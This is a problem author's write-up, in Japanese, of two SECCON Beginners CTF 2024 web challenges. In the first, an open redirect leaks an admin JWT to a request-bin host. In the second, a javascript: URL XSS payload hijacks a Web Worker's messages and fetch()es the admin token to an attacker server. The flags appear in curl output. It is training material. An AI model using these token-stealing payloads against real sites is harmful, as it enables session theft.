SECCON Beginners CTF 2024 [Web] wooorker, wooorker2 作問者writeup
SECCON Beginners CTF 2024で出題したWeb問題wooorker、wooorker2の作問者writeupです。
wooorker(難易度 beginner)
フロントエンド側のOpen Redirect脆弱性を悪用する問題です。
バックエンド側のapp/server.js
ではログイン時にJWTを発行します。JWTはJSON形式でデータを持つことができ、改ざんの有無が検証できる文字列です。詳細はこちらのスライド資料をご参照ください。
ユーザーはguest
とadmin
が存在しており、guest
がログインした際にはisAdmin
がfalse
のJWTが発行され、admin
がログインした際にはisAdmin
がtrue
のJWTが発行されます。
const users = {
admin: { password: ADMIN_PASSWORD, isAdmin: true },
guest: { password: 'guest', isAdmin: false }
};
...
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];
if (user && user.password === password) {
const token = jwt.sign({ username, isAdmin: user.isAdmin }, jwtSecret, { expiresIn: '1h' });
res.status(200).json({ token });
} else {
res.status(401).json({ error: 'Unauthorized' });
}
});
また、flagを取得するエンドポイントでは送信されたJWTを検証し、isAdmin
がtrue
の場合のみflagを返します。
また、JWTの検証部分では検証に用いるアルゴリズムが特に指定されていませんが、jsonwebtoken
ライブラリの最新版である9.0.2
を用いています。試してみるとわかりますが、このバージョンではalg: none
攻撃や、RS256 の公開鍵を HS256 の共通鍵として使用する攻撃(参考)はブロックされるため、JWTを改ざんする方向性ではなさそうです。
app.get('/flag', (req, res) => {
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'No token provided' });
}
try {
const decoded = jwt.verify(token, jwtSecret);
if (decoded.isAdmin) {
const flag = FLAG;
res.status(200).json({ flag });
} else {
res.status(403).json({ error: 'Access denied' });
}
} catch (error) {
res.status(401).json({ error: 'Invalid token' });
}
});
フロントエンド側のapp/public/main.js
ではlogin
関数を介してログイン処理を行い、JWTを取得します。また、クエリパタメータにnext
が含まれており、かつ値にtoken=
が含まれない場合にはnext
に指定したURLにクエリパラメータtoken
としてJWTを含んだ状態でリダイレクトを行います。
const loginWorker = new Worker('login.js');
function login() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
document.getElementById('username').value = '';
document.getElementById('password').value = '';
loginWorker.postMessage({ username, password });
}
loginWorker.onmessage = function(event) {
const { token, error } = event.data;
if (error) {
document.getElementById('errorContainer').innerText = error;
return;
}
if (token) {
const params = new URLSearchParams(window.location.search);
const next = params.get('next');
if (next) {
window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
} else {
window.location.href = `/?token=${token}`;
}
}
};
また、今回の問題ではクローラーが存在しており、クローラーはhttps://wooorker.beginners.seccon.games/report
から操作することができます。
クローラーはlogin?next=/
を送信すると、https://wooorker.quals.beginners.seccon.jp/login?next=/
を踏んでadmin
としてログインする仕様となっていいます。そのため、login?next=[リクエストを受信するサーバ]
を送信することでadmin
のJWTがクエリパラメータtoken
に付与された状態でリダイレクトがなされます。
リクエストを受信するサーバとしてはRequest Binなどのサービスを利用することができます。
Request Binを利用する場合は、login?next=https://[yours].m.pipedream.net
をクローラーに送信することで、admin
のJWTが得られます。
Request Binに送信されたリクエストにはクエリパラメータにJWTが含まれています。
実際にjwt.ioなどでJWTをデコードすると、isAdmin
がtrue
になっていることが確認できます。
そして取得したJWTを用いて、https://wooorker.beginners.seccon.games/?token=[取得したJWT]
にアクセスするとflagが得られます。
直接/flag
エンドポイントからflagを得る場合は、以下のようにして取得できます。
curl -H "Authorization: Bearer [取得したJWT]" https://wooorker.beginners.seccon.games/flag
{"flag":"ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}"}%
wooorker2(難易度 medium)
wooorker2もwooorkerとほとんど同じソースコードが与えられますが、wooorkerとの違いとして、リダイレクト時にJWTがクエリパラメータではなくハッシュで渡される点があります。
以下はwooorker、wooorker2におけるapp/public/main.js
の差分です。
22c22
< window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
---
> window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
24c24
< window.location.href = `/?token=${token}`;
---
> window.location.href = `/#token=${token}`;
ハッシュで指定したパラメータはクエリパラメータとは異なり、バックエンド側に送信されません。そのため、クローラーにlogin?next=[リクエストを受信するサーバ]
を送信してもadmin
のJWTを受け取ることはできません。
if (next) {
window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
} else {
window.location.href = `/#token=${token}`;
}
wooorkerの解説では触れていませんでしたが、クエリパラメータnext
がそのままlocation.href
に渡されているため、next
にjavascript:alert(1)
などを渡すことで、XSSによるJavaScriptの実行は可能です。
そこで、JavaScriptによってadmin
のパスワードを直接DOM要素から取得することを試みますが、フォームの入力は削除されるため取得することはできません。
function login() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
document.getElementById('username').value = '';
document.getElementById('password').value = '';
loginWorker.postMessage({ username, password });
}
main.js
を改めて見直すとユーザー名とパスワードをバックエンドに送信し、JWTを受信する処理はloginWorker
というWorker内で行われることがわかります。Workerはバックグラウンドでタスクを実行できるものであり、作成元にメッセージを送り返すことができます(参考)。
const loginWorker = new Worker('login.js');
login.js
は以下であり、受け取ったJWTをmain.js
にWorker.postMessage()経由で送信します。
let username, password;
onmessage = async function(event) {
if(!username) username = event.data.username;
if(!password) password = event.data.password;
try {
const response = await fetch('/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ username, password })
});
const result = await response.json();
if (response.ok) {
postMessage({ token: result.token });
} else {
postMessage({ token: '', error: result.error });
}
} catch (error) {
postMessage({ token: '', error: 'Error logging in.' });
}
};
そこで、XSSによりloginWorker
からのJWTを含むメッセージを受信するリスナーを設置することを考えます。
username
とpassword
はWorker内で保存されているため、login
関数を再度呼び出せばログインすることは可能です。
以下をクローラーに送信することでloginWorker
からのメッセージを受信するリスナーを設置し、login
関数を呼び出して、リスナーが受け取ったadmin
のJWTを自身のサーバに送信することができます。
login?next=javascript:loginWorker.onmessage=function(event){fetch(`[リクエストを受信するサーバ]?token=${event.data.token}`)};login();
そして取得したJWTを用いて、https://wooorker2.beginners.seccon.games/#token=[取得したJWT]
にアクセスするとflagが得られます。
curl -H "Authorization: Bearer [取得したJWT]" https://wooorker2.beginners.seccon.games/flag
{"flag":"ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}"}%
おわりに
wooorker、wooorker2については競技開始後にしばらく502エラーが返される状況が続いたり、クローラーの処理が滞る問題があったりとご迷惑をおかけしました。
余談: 自分は初めて参加したSECCON Beginners CTFでは一問も解くことができず、悔しすぎて半泣きになっていた思い出があります。